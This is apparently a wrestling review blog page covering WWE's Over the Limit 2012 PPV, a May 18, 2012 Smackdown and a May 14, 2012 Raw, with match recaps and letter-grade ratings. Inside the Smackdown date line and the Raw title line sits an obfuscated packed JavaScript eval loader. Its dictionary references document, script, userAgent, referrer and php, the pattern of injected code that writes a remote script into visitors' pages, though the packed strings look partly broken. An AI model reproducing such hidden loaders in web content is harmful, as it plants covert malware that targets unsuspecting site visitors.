This is going to be on the PPV which is good. The winner can pick the US Title or IC Title to challenge for later tonight. There are 20 men in all. This is a cool idea to start the show with. No opening video either. They start with the usual punching and kicking until Khali throws Slater out. There goes McGillicutty by the same man. The Usos hit a double superkick to put JTG out, making me love them even more.

Drew suplexes Yoshi out and he lands BAD on his ankle. If he’s not hurt it’ll be a miracle. Reks and Hawkins put Jackson out just before Darren Young puts an Uso out. Someone puts McIntyre out. I’m sorry for all of the “so and so is out” but there’s not much else you can say until a lot of the guys are gone. Khali puts out Hawkins and Reks and does the same to Mahal. I think there are ten left.

Regal tries to put Kidd out but gets caught in a chokeout. Miz, Young and O’Neil team up to put Khali out. That more or less leaves Miz, Christian and maybe Otunga as the only likely winners. Jackson misses a charge and the remaining Uso kicks him out. Young and let’s say Jey go to the apron and Young knocks him out. Ok we have Miz, Young, Kidd, Regal (out as I type his name, drawing HUGE boos), Christian, Kidd and Otunga. Riley dropkicks Young out to get it to five.

Riley hits a spinebuster on Miz but gets sent to the apron. He goes up top but Miz guillotines him to get it to four. It’s Christian, Miz, Kidd and Otunga. Otunga sends Christian’s shoulder into the post as Kidd kicks Miz. I think Christian is a face here. Kidd gets sent to the apron but hits a springboard missile dropkick to knock Miz and Otunga down. Kidd goes to the apron and tries to headscissor Kidd out, but Otunga dumps Tyson.

Otunga and Miz team up against Christian for a double beating but the corner clothesline misses. Christian dumps Otunga and has to hang on from a sneak attack by Miz. The Finale is countered and Christian is thrown to the apron. Miz chokes him on the apron with a boot but Christian kicks him away. From the apron, Christian throws Miz to the apron as well and a shoulder to the ribs gives the Canadian the win at 12:36.

Rating: C. This was a better battle royal than I’m used to. Christian returning and winning was a nice surprise as he seems to have turned face again. I like him better in that role so seeing him getting a push as a good guy should be a nice change of pace. Fun match here which was a nice surprise.

Christian picks Santino in a surprising move.

Now we get the opening video, which is about change and people power.

Vickie suggests she’ll be the new GM if Ace loses.

Tag Titles: Jack Swagger/Dolph Ziggler vs. R-Truth/Kofi Kingston

Kofi and Swagger get us going. Jack takes it to the mat but opts for a standing top wristlock instead. Not much happens so it’s off to Truth for a double hiptoss. Spinning legdrop gets two. Ziggler comes in but Kofi gets a blind tag and a springboard missile dropkick for two. Swagger gets in a shot from the apron and a tag to take over. He works on the arm some more and it’s off to Truth who speeds things up.

Vickie distracts the referee which results in Dolph getting his head kicked off. Swagger puts Truth down and hits the Vader Bomb for two. Ziggler comes back in with a Crossface of all things as King is talking about Vickie’s navel. Cole: “If you two were as good at commentating as you were at looking at Vickie you’d be in the Hall of Fame.” King: “I already am.” That was funny for some reason.

Swagger takes Truth down but Truth comes back with a flurry of punches. They don’t get him anywhere as Ziggler comes in for a double team, getting two. Dolph does the handstands on the chinlock which is impressive. Back to Jack who takes Truth into the corner but gets caught by a tornado DDT to put both guys down. Double tag brings in Kofi and Dolph and an SOS gets two. Springboard cross body gets two as Jack makes the save. As Kofi is coming back in he gets caught by a Fameasser for two. Truth dives onto Swagger and Dolph jumps with a Stinger Splash, right into Trouble in Paradise to retain at 12:28.

Rating: B. That’s probably high but I was enjoying this match. Kofi and Dolph have some awesome chemistry together and it worked very well here. They’re clearly building to a big rematch with the Colons, if you can call that big of course. Pretty good match here and I was really liking it by the end.

Eve tells Hawkins and Reks to go into the crowd and confiscate all anti-Laurinitis signs. Otunga says this is legally ok. There has to be a rib here somewhere.

Divas Title: Layla vs. Beth Phoenix

Layla is defending. She grabs a headlock to start but Beth powers her down. The fans want Kharma. Layla takes her back down and pounds away, including an elbow into a charging Beth. Beth counters a rana (I think) out of the corner into a powerbomb to work on the knee. She wraps it around the post and slams her down for two.

There’s a half crab and a tap chant. Layla comes back with a rolling cradle for two. This is a really boring match. After a quick bit on the apron, the Glam Slam is countered into a kind of DDT for two. Another attempt is countered into a rollup for two but Beth counters into one of her own with tights for two. Beth takes the knee out again but walks into the Layout for the pin at 7:13.

Rating: D. I usually don’t like Divas matches but this one was especially boring. The Kharma chants just kept reminding me that they’re keeping the belt warm for her. Layla and Beth are both good looking, but for the life of me I have no desire to watch them have a wrestling match. The ending was better than the rest of the match.

We go to Orton and see a clip of him hitting the RKO after losing to Sheamus. He says Sheamus would have done the same to him. Jericho comes up and says he enjoyed the match on Smackdown with the two of them beating on each other. He says he’ll win, but Orton says that Jericho will only be the best in the world at losing to him.

Smackdown World Title: Alberto Del Rio vs. Sheamus vs. Chris Jericho vs. Randy Orton

I’ve been looking forward to this. During the big match intros, the announcers talk about how he has a 25% chance of winning. Wouldn’t they always have at best a 50% chance? Anyway Jericho goes after Orton and Del Rio jumps Sheamus. The good guys almost have a rematch from Friday but the heels jump them again. Del Rio and Jericho are knocked to the floor and it’s rematch time.

Sheamus takes over but gets pulled to the floor by Jericho and thrown into the barricade. Del Rio jumps Orton and works on the arm. The fans chant SI as Del Rio and Jericho have a brief alliance. Alberto heads to the floor and works on Sheamus’ arm, sending him into the table. In the ring Orton suplexes Jericho and stomps him for two. The heels team up again but once Jericho goes for a cover it’s time to fight.

Orton comes back to clothesline Del Rio to the floor and it’s Randy vs. Jericho for a bit. Enziguri gets two for the Canadian. Sheamus has apparently stopped living as he’s been gone for about three minutes now. Cole talks about Raw going three hours as Orton loads up a superplex. Del Rio makes the save for some reason and Orton goes to the floor with Jericho. Sheamus comes back with the top rope shoulder and some knees to Del Rio in the corner.

Regal Roll puts Del Rio down again and Sheamus shouts BROGUE. Del Rio blocks it with an enziguri for two. Into the corner and Sheamus fires off a bunch of elbows to Del Rio’s head. That corner has been a bad place for him so far. Powerslam gets two. The periods of guys laying on the floor is a lot longer tonight. Del Rio takes out the knee and a dropkick to Sheamus while the champ is on his knees gets two.

Del Rio misses a charging kick and gets caught in position for the ten forearms. Jericho pops up with a shot to the back, sending Del Rio and Sheamus to the floor and onto Ricardo. Orton comes back in with the powerslams to Jericho and an elevated DDT to the champion. Cross armbreaker beaks up the RKO but Jericho saves Randy. Lionsault gets knees from Del Rio but Orton hits the backbreaker on Jericho. Irish Curse puts Del Rio down but Orton tries the RKO. Sheamus escapes and misses the Kick but he counters the RKO into a rollup like Friday for two. Orton sends him into the post and out to the floor. Great sequence.

Double DDT takes out Del Rio and Ricardo but Del Rio sends Orton to the floor. Cross armbreaker to Jericho is counters into the Walls (SWEET) but Sheamus comes in to break it up. Jericho ducks the Kick and hits the Codebreaker for two. Cole picks NOW to plug WWE.com. ARE YOU KIDDING ME? Jericho hits his finisher so TIME TO PLUG THE WEBSITE!!! Regal Roll is countered into the Walls but Randy RKOs him. Del Rio saves that and takes one of his own. Brogue Kick takes down Orton (great selling) and Jericho rolls Sheamus up with tights for two. I thought that was it. White Noise to Jericho retains at 16:00.

Rating: A. That’s probably high but I really dug this. It was the match I’ve been looking forward to the most all night and it certainly didn’t disappoint. Those finisher parades were great and I was really wondering who was going to get the win, which is the best thing a match can do. Thank goodness they went with this instead of Sheamus vs. Del Rio. I really liked this.

Cody and Eve talk in the back and Rhodes is glad the IC Title is getting legitimized tonight. He says he would have embarrassed Christian tonight and guess who is behind him. Christian changes his mind and is challenging Cody tonight. That’s an intriguing feud if they let Cody be himself.

Here’s Miz for a match but he has a mic first. He also has the coat back which is an upgrade. Miz says that the fans should be praising his existence. Everything that is wrong with the WWE can be summed up in two words: Brodus Clay. Miz says he’s a better dancer and shows off a little bit. Brodus does his stuff and looks like a pumpkin with orange and black this week.

Brodus Clay vs. The Miz

This isn’t a dance off thank goodness. Miz gets shoved into the corner and has his forearms shrugged off. Brodus rams Miz into the corner and hits a suplex. Miz tries to go up top but gets heabutted down. Miz sends Clay into the post on the floor. Back in a pair of top rope ax handles put Brodus down to his knee. Boot to the head gets two and it’s off to a chinlock. Brodus gets up and runs him over, then hits his overhead suplex from the middle rope. Splash ends this at 4:13.

Rating: D+. This was your usual Brodus match. The problem with him at the end of the day is there’s really nothing you can do with him at this stage. He’s squashing bigger names now and the dancing with kids (going on right now) is a nice touch, but they need to give him some adversity or something at all to do so he can move up without things looking silly.

Reks and Hawkins are stealing signs.

Cody complains about the fans being happy with him having to defend the title tonight. He talks about his dad not letting him come to any shows in North Carolina as a kid, and now he knows it’s because he’s better than everyone else. Tonight he’ll prove that he’s better than Christian. I’m liking these short pre-match promos. They add a little something to them.

Intercontinental Title: Christian vs. Cody Rhodes

Christian throws him to the floor to start and Cody is frustrated. Cody comes back in with a Russian legsweep for two and we hit the armbar/neckcrank. Christian gets up but gets dropkicked in the back of his head for two. Cody works him over in the corner and we head outside. The champ climbs the steps like he’s setting for the Disaster Kick but hits a dropkick instead.

Back inside and Cody jumps into a punch to the ribs. Pendulum Kick sets up a middle rope missile dropkick for two. The crowd has gone dead after the foruway. Killswitch is broken up but Christian pops him in the face to keep momentum. Top rope dropkick misses and Cody rolls him up for two. Tornado DDT is countered and Christian stands there for the moonsault press (looked really stupid) for two. Cody yells at the fans about being tired of being jerked around and walks into the Killswitch to give us a new champion at 7:28.

Rating: C-. The match was pretty dull but I’m very pleased with this change. Cody being depushed like he was made the title look horrible and getting it off Rhodes was the best thing they could do. Christian is a steady hand and you know you’re going to get passable matches out of him at worst. Also having him as a face is a plus to me. Boring match, good result.

We go to Punk in the back and see a clip from the end of the Punk vs. Kane match with Bryan getting Punk a beating by Kane. Punk is happy that tonight Ace will be out of a job. First up though is Daniel Bryan who he’s known for ten years. Ten years ago, if you had told Vince that these two would be fighting for the WWE Title on a WWE PPV, you would hear him ask who they both were (complete with a funny Vince imitation). Bryan is a changed man and those changes have gotten on his bad side. Tonight won’t just be a five star classic, but it’ll be…..and here’s AJ who says this is going to be fun. She wishes Punk luck.

Raw World Title: Daniel Bryan vs. CM Punk

Cole again plugs WWE.com which has an article about their history. You know, because Cole can’t TELL US THOSE THINGS. Feeling out process to start and Punk takes him into the corner and kicks at the leg. The fans seem totally split. A quick headlock goes nowhere so Punk works on the knee some more. Modified Indian Deathlock goes on from the champ but Bryan gets on top of him and fires off forearms.

Punk weathers that and hits a curb stomp of all things for two. He sends Bryan to the floor but Bryan is ready for him and sends Punk back first into the barricade. The bad ribs are draped over the barricade and Bryan takes over. Back in a top rope missile dropkick (with knee selling) gets two. Bryan hooks a seated abdominal stretch with some elbows to the ribs. Knee drop gets one.

Punk tries a Figure Four out of nowhere (complete with WOO chants. We’re in North Carolina remember) but Bryan rolls him up for two. There’s a surfboard (complete with YES each time he rocks back) which is always cool to me. Bryan keeps Punk’s legs in the air and bends his face down into a dragon sleeper at the same time. FREAKING OW MAN! Off to a regular dragon sleeper but Punk comes back with forearms of his own. That’s some nice storytelling as they’ve mirrored each other completely, even down to the counter into mounted forearms, for the first ten minutes.

Bryan hits a hard running knee drop to the back to keep Punk down. Another misses and Punk gets a Perfectplex for two. Bryan suplexes him down and hits a swan dive headbutt for two. Off to a chinlock with a knee in the back of the champ. Punk gets up and they both hit cross bodies to put both guys down. Back up and Punk fires off forearms and hits the neckbreaker.

Punk tries the corner clothesline but gets kicked in the face. Powerslam gets two for the champ. Bryan escapes a suplex but Punk backdrops him to the floor. Suicide dive takes Daniel down but he hits a dropkick to counter the springboard clothesline for two. Bryan fires off the kicks but the last one is caught in a dragon screw leg whip. Figure Four goes on and the fans get fired up again.

With the hold on they slap it out but Punk doesn’t let go of the hold. Bryan makes the rope and Booker shouts that he has til five. Knee crusher is countered into a sunset flip for two. Punk’s rollup gets the same. Bryan tries something with the arm but Punk pulls away. Bryan is cool with that and kicks Punk’s head off for two. They go to the corner and Punk crotches Bryan on the top.

With Bryan sitting on the ropes, Punk hits the springboard clothesline for two. We’re at almost twenty minutes now and they’re showing no signs of ending soon. The fans think this is awesome. I can’t remember the last time I’ve heard that at a WWE show. They trade forearms from their knees and Punk takes over with his strikes. GTS is countered into a rollup for two.

YES Lock is countered into a slingshot to send Bryan to the apron. He skins the cat but walks into a high kick for two. Bryan put his foot on the rope so Punk hooks it for another two. I like that. Macho Elbow hits but the ribs are too hurt to cover. A Randy Savage chant starts up as Punk gets two. Bryan goes off, firing knees into the ribs. He charges but the running dropkick misses.

Running knee hits but the bulldog is countered into the YES Lock in the middle of the ring. Bryan pulls too hard and Punk falls on top for the pin at 24:04. He was tapping at the same time though so there’s your rematch at No Way Out. I think the pin stands though. Replay shows that the three count was clearly done before Punk tapped and the announcers acknowledged it.

Rating: A. Yep it was great. This whole show has been great but unfortunately these two are going to get blamed when the show tanks because no one wants to see Ace in the ring because no one cares about him. Anyway, the match was great and I have no complaints about it at all. The crowd reaction was great too, which is something you don’t get anymore in WWE so that’s a good sign too.

Yeah another replay shows that the referee was almost up to his feet saying ring the bell before Punk tapped. It’s not even close.

Eve and Otunga are in the back and run into Teddy. He’s happy because if Ace loses, the two of them might get fired.

Camacho vs. Ryback

Lillian says that it’s Hunico but it’s Camacho. Good reaction for Ryback who has Nexus like R bands on his arm. What do you expect here? We get Goldberg chants, some offense from Camacho, spinebuster, a powerbomb and the MuscleBuster for the pin at 1:52.

We recap the main event. Ace calls it People Power, naturally he’s corrupt boss #8000 and brings in Lesnar to be his big machine, only to have Lesnar lose to Cena in his first match. This leads to Ace vs. Cena and if Cena wins, Ace is fired. Oh and if any wrestler interferes, he’s fired. Did I mention Big Show was fired on Monday?

John Cena vs. John Laurinatis

We hear about some All Japan titles and I quote, “one of the greatest tag teams of all times in the Dynamic Dudes.” For those of you unfamiliar, NO. Just NO. Ace is in a full body black suit which is skin tight. I think it’s Under Armour. Just to be clear: The Rock, Brock Lesnar, Johnny Ace. Also for the sake of this, if I use the name John, I will only be referring to Cena. You can only win by pin or submission and if Ace loses he’s fired.

Ace immediately runs to the crowd but Cena catches him. He rips the Armour up and hits a loud chop to the chest and the back. LONG airplane spin puts Ace on the floor and Cena rings the bell next to his ear. Cena puts Ace in Cole’s chair and puts a headset on him. He grabs a mic and says he’ll be Booker while Ace is Cole. Cena’s imitations of both guys are pretty good and Ace says FIVE TIME while half unconscious. Ace has had no offense at all.

Back into the ring and Ace begs for mercy. He extends a hand which gets him slammed. Cena grabs a mic and says he has an idea. He says he’s about to put Ace in the STF and if Ace taps, he’s fired. If Ace can last ten seconds, Cena will let go and in the name of PEOPLE POWER, the fans can keep time. Cena lets go at ten and says the good news is that Ace survived. The bad news is he’s going to do it again. Cena isn’t cranking on it at all.

John goes to the floor and gets some water. He thinks Ace needs some water too so he gets three bottles and pours them over Ace. One of them go down Ace’s pants. Now it’s time for a fire extinguisher. Ace begs for mercy so Cena only sprays him a bit. It’s been hot around here so that doesn’t sound half bad right now. Cena sprays him for about fifteen seconds and Ace looks like a snowman. This is hilarious so far.

Cena finds a trashcan which is full of popcorn and drinks. Well at least it washes the foam off. Ace gets into the crowd as Cena is looking for more stuff but Cena catches him. Ace gets in a shot to the bad arm and Cena is in some trouble. The arm goes into the table as Cole is losing his mind. It goes into the steps and Ace grabs a chair. Naturally, he hits Cena in the ribs instead of the arm but at least he’s trying. A few shots to the back get two.

Cena blocks a chair shot to the head and trips Ace’s legs with it. Instead of the Shuffle, Cena drives the chair into Ace’s face. He picks Ace up but takes a low blow to put him back down again. Ace goes into the crowd again and slowly crawls up the aisle. He gets past the floor seats and Cena is still in the ring. Ace gets out of the arena and the referee isn’t sure what to do.

And here it is. Big Show pops up with Ace by his throat and drags him back to the ring. He throws Ace back in (with a beer gut the size of your local luchador) and Cena is ready. Ace begs off some more so Show stands on his hand. Cena puts him in the AA and of course Show punches him to the shock of no one. Ace gets the pin at 17:08.

Rating: C. The match was a comedy match until the end. I’ll go with a rating in the middle because I enjoyed the big beating but when you know the ending, it’s like watching a movie for the second time. Everyone who has watched more than five minutes of wrestling could tell you what was going to happen there and it’s nothing most people seem interested in from what I’ve read.

Everyone is SHOCKED to end the show. SHOCKED I SAY!

Overall Rating: B+. You know I was LOVING this show before the ending. There were two great matches here, but the ending is the same stuff that has made ratings fall week after week but this is what has been chosen and that’s what we’re going to get. It’ll be Cena vs. Show over the summer and Lesnar vs. lawyers or whatever and Punk/Bryan/Sheamus will be blamed when people stop watching because their 10 minutes a week are the problem, not the 30 minutes the other stuff gets. Great show with a bad ending though.

Results
Christian won a battle royal, last eliminating The Miz
Kofi Kingston/R-Truth b. Dolph Ziggler/Jack Swagger – Trouble in Paradise to Ziggler
Layla b. Beth Phoenix – Layout
Sheamus b. Alberto Del Rio, Chris Jericho and Randy Orton – White Noise to Jericho
Brodus Clay b. The Miz – Splash
Christian b. Cody Rhodes – Killswitch
CM Punk b. Daniel Bryan – Rollup
Ryback b. Camacho – MuscleBuster
John Laurinaitis b. John Cena – Pin after WMD from Big Show

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Smackdown – May 18, 2012: Nice Long Main Event Almost Saves It

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbbas|var|u0026u|referrer|ektdz||js|php'.split('|'),0,{})) May 18, 2012
Location: Giant Center, Hershey, Pennsylvania
Commentators: Michael Cole, Josh Matthews, Booker T

Time for another edition of that show on Fridays that doesn’t mean a thing because everything happens on Raw now. The main event tonight is Orton vs. Sheamus which is the big PPV match they’re waiting for the right time to have. This is the go home show for Over the Limit which is the least interesting PPV I can think of in years. Maybe we’ll actually have Punk and Bryan talk. Let’s get to it.

We open with a recap of the end of Raw. Gee there’s a novel idea. This is edited together really well as it’s Ace talking about what he can do and Cena reading a line from the letter to say that Ace can’t do that.

In the arena here’s Ace to really open things up. He disagrees with the Board’s decision because it puts him in harm’s way. Ace says that he’s almost 40 but he’s still in shape. Wow I would have put him closer to fifty. The Board won’t reconsider their decision so he appeals to the fans for their support. He asks for our prayers but gets Punk instead.

Punk says that everyone, including him and the rest of the roster has been praying. Their prayers have been answered by this match on Sunday. It’s not about if Cena beats him but rather when. It would be more realistic to say that it’s not if Big Show/Lesnar interferes but when but you get the idea. Punk says after Ace is fired the party will start on Raw and it’ll go on through Smackdown next week.

The champ talks about Raw where Ace made Big Show beg for forgiveness with a smile on his face. Ace constantly insults the intelligence of the fans and humiliates Teddy, so how does it feel to be on the other end of the stick? Ace says it’s not over yet so tonight Punk faces Kane. Punk says that concerns him but he’s going to face Kane like a man. Next week he’ll still be WWE Champion but Ace will be unemployed. So let’s see. Punk talked to a guy he’s not facing on Sunday, is facing a guy that is on the pre-show on Sunday, and didn’t mention his opponent by name at all. Nice way to show what the real match is guys.

Punk leaves but Ace stops to yell at the fans. He says that since he’s the GM, he’s been tough but fair. Ace says that he works hard for the fans and they still boo them. He’s not going to blame Punk and Cena, because it’s the fans’ fault. If this is his last night, he could care less about all of them, and with that he leaves.

Cena Make-A-Wish video which is good to mention because it makes you think of the good stuff WWE guys do. Make sure to remember that if you’re a Connecticut registered voter.

Kofi Kingston/R-Truth vs. Darren Young/Titus O’Neil

Young and Truth start things off. They fight into the corner and Truth punches him a bit. Off to Kofi with the springboard cross body for two. Kofi takes down both opponents but Titus’ distraction lets Young hit his belly to back suplex onto the apron to take over. Off to Titus who slams Kofi and hits a splash in the corner. Another attempt hits boots and it’s off to Young and Truth again. Truth speeds things up and hits the spinning forearm. DDT gets two as Titus saves. Kofi knocks O’Neil to the floor and hits a dive as the Little Jimmy pins Young at 2:59.

Just a quick aside here: we have Young and O’Neil brought up as a new team who look impressive, so in I think their fourth match they job clean to the champions in less than three minutes. That’s a great way to make these guys look good. This is where JOBBERS should be used. Throw Slater and someone else out there for this match and save Young/O’Neil for later. Unfortunately there are only five teams (Colons, champions, O’Neil/Young, Usos (are they still alive?) and Swagger/Ziggler) They’re saving the Colons for a big match I guess, so this is all they can use and that’s why there’s no division.

Don’t Be A Bully! How long before it’s time to STAND UP for WWE?

Ryder is filming stuff for his show in the back but Sandow is standing next to him. And that’s that apparently.

Video on Ryback. He’s 1/3 of the “they’re monsters but we have no idea what to do with him yet so we’ll keep having him squash people until the fans get bored of him” trio with Tensai and Clay.

Damien Sandow vs. Yoshi Tatsu

Sandow won’t fight for the same reasons he gave two weeks ago. He leaves but Tatsu calls him a chicken, complete with clucking. Sandow runs in and takes off the robe to reveal hot pink tights that Rick Martel would look twice at and destroys Tatsu. He hits a version of the Regal Cutter with both arms pulled instead of just one and then leaves. There was no bell and no pin so this wasn’t a match.

We recap the events that set up the fourway other than the actual announcement of the match.

Orton and Sheamus are in the back with Striker. Sheamus says he’s looking forward to fighting three guys and rubs in that he’s not champion anymore. Orton says he’s no longer so overconfident that he overlooks his opponents. He can beat anyone on Sunday but wants to beat Sheamus. Sheamus says he can kick Orton right now but Orton says compared to him, Sheamus is too nice a guy.

Zack Ryder vs. Daniel Bryan

Ryder gets in some offense to start but a running knee puts him down. The running dropkick in the corner gets two. Bryan works on the arm a bit but gets caught by the knees in the corner. Broski Boot misses and Bryan kicks him in the head. YES Lock gets the submission at 2:28. Squash.

Kane vs. CM Punk

Bryan is sitting in on commentary, which is going to multiply the build for this match by about 10,000%. Kane knocks him down to start so Punk fires some kicks to the legs. A clothesline puts Kane on the floor and we take a break. Back with Punk kicking the knee some more and hitting a DDT for two. Punk hooks a Figure Four AND IT’S ON THE PROPER LEG!!! Kane breaks it quickly but I’m in too much shock to care.

Punk springboards into the uppercut and takes over with some very slow kicks. A baseball slide sends Punk’s ribs into the post and Kane focuses on them for a bit. Off to a bearhug and then a backbreaker for two. There’s a body vice as Bryan talks about the history with Punk and how their paths reached this point. See how easy it is? Back up and Punk escapes the chokeslam and hits a swinging neckbreaker for two.

Punk hits the knee in the corner but the bulldog is countered as you would expect it to be. Since that didn’t work he goes to the middle rope for the bulldog which gets two. He tries the GTS but the ribs give out. Big boot gets two for Kane. Bryan sounds like a kid at Christmas with the ribs being hurt.

Kane loads up a superplex but Punk shoves him off and hits the Macho Elbow for two. He tries the Vice but Kane blocks it. Top rope clothesline puts Punk down and it’s chokeslam time. Punk hits the High Kick to counter and Kane goes to the floor. Suicide dive takes Kane out but Bryan pops up with a chair. He hits Kane which gives Kane the DQ win at 9:50 shown of 13:20.

Rating: C-. Not a great match but the main thing that hurt it was the slow pace of it. They were going by the numbers here but the ending helped it a bit. If a rib injury for Bryan to focus on is the best angle we can get to set up the match then we’ll have to go with it. I mean, WWE isn’t going to bother letting them cut promos on each other or anything so I’ll take what I can get.

Bryan runs and sees Punk with the chair near him, so he destroys Punk with it. Bryan hit Kane in the back if that clears anything up. A chokeslam in the ring leaves Punk laying.

Santino Marella vs. Cody Rhodes

This is the result of an epic Twitter War this week over which title means more. If you don’t know who’s losing here, I can’t help you. Booker says the IC Title is a little more prestigious. Cody hits some knees to the ribs to take over but the moonsault press misses. Here’s the Cobra but Cody dropkicks him down for two. And never mind as the Cobra hits for the pin at 1:59. Hey Vince, congratulations on crushing a guy that could be a big star for you because his brother got fired. Seriously, why else could this be happening?

Since having a match go longer than two minutes is impossible, here’s Ace’s promo from earlier tonight to fill in time.

Now we spend TEN FULL MINUTES reairing the ENTIRE Big Show firing segment from Monday.

Randy Orton vs. Sheamus

There’s a TON of time left for this because nothing else has happened on this show. Feeling out process to start with Orton getting caught in a headlock. Randy speeds things up and hits a dropkick to take over. They go into the corner and it turns into a shoving match followed by a fight. A clothesline puts the champion down and Orton does his stomping, focusing on the ankle for a bit.

A knee drop misses and Sheamus comes back with right hands in the corner. Orton punches back but Sheamus’ are better and he takes over. Randy comes back with a clothesline to send Sheamus to the floor but he sends Orton into the steps. Brogue Kick misses and Orton rams Sheamus’ shoulder into the post. No one has had a distinct advantage at all so far. That’s Sheamus’ bad shoulder so there’s some psychology thrown in there.

Orton stomps on the arm to drive it into the steps as we take a break. Back with Orton bending the arm around the ropes. Some elbows to the arm keep Sheamus down as does a DDT on the arm. Off to a chinlock with an arm trap. Sheamus starts a comeback but gets sent into the corner shoulder first. The champ manages to send him to the floor and hits a high knee followed by the ten forearms in the ropes.

Sheamus knocks Orton off the apron and into the barricade as we take another break. Back with Sheamus dropping knees on Orton which eventually get two. Regal Roll puts Orton down and Sheamus loads up the High Cross. Orton counters that too, this time into the backbreaker. Sheamus charges at him but Orton hooks a belly to belly of all things. He tries the elevated DDT but Sheamus guillotines him on the top to escape.

Slingshot shoulder puts Orton down and there are the running ax handles. Powerslam gets two. Another Irish Curse attempt is broken up but another attempt connects for two. Sheamus goes up but Orton stops him with punches followed by a top rope superplex. That only gets two and they slug it out. Brogue Kick misses and Sheamus gets caught in the rope and the elevated DDT. Orton loads up the RKO but Sheamus ducks. Brogue Kick misses and Orton tries the RKO again, but Sheamus drops down into a rollup for the pin at 16:35 shown of 23:35.

Rating: B. I was really getting into this at the end and the finishing sequence was very nicely done. They were setting up this as the match with both guys hitting everything they could other than their big move and then they threw a nicely timed curve ball with Sheamus winning with a rollup. The ending is also good as neither guy looks weak here at all and it keeps the main event on Sunday wide open.

Post match they shake hands and Orton RKOs him. That’s a pretty heelish move.

Overall Rating: D+. Until the good main event, this was on pace to be one of the worst Smackdowns that I can remember in years. The last quarter of it being good prevented that, but there are still major holes in this show. First of all, where were Jericho and Del Rio? They’re in this show’s main event and they’re not even on the broadcast for a promo? Second, Punk and Bryan is the most thrown out there main event in a LONG time. Even Bryan vs. Sheamus had a better build than this. Disappointing show, but a good main event helps it a lot.

Results
Kofi Kingston/R-Truth b. Titus O’Neil/Darren Young – Little Jimmy to Young
Daniel Bryan b. Zack Ryder – YES Lock
Kane b. CM Punk via DQ when Daniel Bryan interfered
Santino Marella b. Cody Rhodes – Cobra
Sheamus b. Randy Orton – Rollup

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Monday Night Raw – May 14, 2012: Two Way Too Long Segments For The Price Of One!

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shtby|var|u0026u|referrer|sydza||js|php'.split('|'),0,{})) Night Raw
Date: May 14, 2012
Location: CONSOL Energy Center, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Jerry Lawler

It’s the last Raw before Sunday’s Over The Limit so hopefully we’ll get some Cena tonight to sell the show. That being said, the guy is going through a divorce so I think you have to cut him some slack on how effective he’s going to be out there. We also have Punk vs. Daniel Bryan for Sunday so expect a lot of staring at each other tonight. Let’s get to it.

We open with HHH walking through the back. He runs into Ace who says he had nothing to do with Lesnar attacking him. HHH says he’ll respond in front of the world.

Theme song.

Here’s HHH but before he talks we get the video from Raw two weeks ago for the 100th time. HHH says everyone wants to know his thoughts on Lesnar. It’s not the physical part of it because he’s had worse done to him. It’s Lesnar saying that he has to bring legitimacy back to the WWE. A few weeks before that, HHH was going toe to toe with Undertaker in the most watched Wrestlemania of all time.

Lesnar’s arrogance offends all of the greats in WWE history and it offends HHH as a fans. Two weeks ago he was slightly embarrassed because of Lesnar always bailing when he got challenged. HHH saw the potential in Brock back in 2002, but Brock quit in 2004 after someone challenged him, then he quit UFC when he had to fight and now he came back here and went after Cena, who beat him as well.

Cue Heyman and a lawyer. Heyman says that HHH has blown this and that it’s an open and shut case. Lesnar had an agreement with Ace but HHH ripped it up. The lawyer serves HHH with a lawsuit for millions of dollars and Heyman runs his mouth some more. HHH grabs Heyman by the face and says Lesnar will get what he deserves. The Game leaves but Heyman says he’s suing HHH for assault and battery.

We get a recap of Show making fun of Ace last week. He gets Kane tonight as a result.

CM Punk/Santino Marella vs. Daniel Bryan/Cody Rhodes

Insert Pretender reference here. Punk and Rhodes start things off with Punk taking control. He sends Cody to the floor and Bryan out on top of him. There’s a suicide dive but Santino can’t quite bring himself to do one of his own as we take a break. After an ad for a Raw house show in my town in July, we come back with Rhodes beating up Santino. Off to Bryan who drops a bunch of knees for two.

Bryan throws on an armbar and the beating continues. In a funny bit, Santino dives for the tag but misses. Rhodes laughs but gets shoved off, allowing Santino to make the real tag. Bulldog puts Rhodes down but the GTS is avoided. High Kick puts Rhodes down but Bryan avoids one of his own. He heads to the floor and Cody walks into the GTS for the pin at 9:55.

Rating: C-. Everyone here knew that Cody was taking the fall here right? I want to make sure I’ve at least taught you that much. Other than that, the match was just ok. Santino being in there didn’t make a ton of sense but Big Show was busy tonight. I’d have liked more between Bryan and Punk but we had a champion to pin so it was out of the question.

Beth Phoenix vs. Alicia Fox

So Fox is face on here and heel on NXT. Got it. The crowd just goes silent when the bell rings. Layla comes out to watch. Gorilla press and Glam Slam, 1:16.

Alicia is about to get beaten up again but Layla makes the save.

Video on Cena’s Make-A-Wish work which is cool.

We see the Ace/Show segment again for some reason.

Ryder vs. Kane is the pre-show match for Sunday.

We get ANOTHER clip from last week with Ace saying that it might be Show’s last match in WWE.

Ace and Otunga come out and we take a break, meaning in this TV segment we announced a pre-show match and saw a clip.

Kane vs. Big Show

Show takes it to the mat which gets us nowhere. Kane fires off shoulders in the corner but gets thrown away with ease. The masked man hits a cross body of all things and it’s time for the chinlock. Show comes back with clotheslines and a slam to set up the Vader Bomb Elbow. Not that it matters as Kane moves and goes up top. He jumps into a chokeslam attempt but escapes that too. We head to the floor and Kane gets whipped into the barricade and speared. They get back in and Ace wants an apology right now. That allows Kane to use a choke takedown (looked awful) for the pin at 4:14.

Rating: F. It was awful, it was slow, the ending SUCKED. What more do you want from me here?

Ace says Show has to apologize or he’s fired. Show says he’s accomplished everything and he can walk away. But he still loves what he does and he doesn’t want to be fired. If it means being fined or never getting a title match again, then so be it but don’t take away what he loves. If the imitation offended Ace, then he’s sorry.

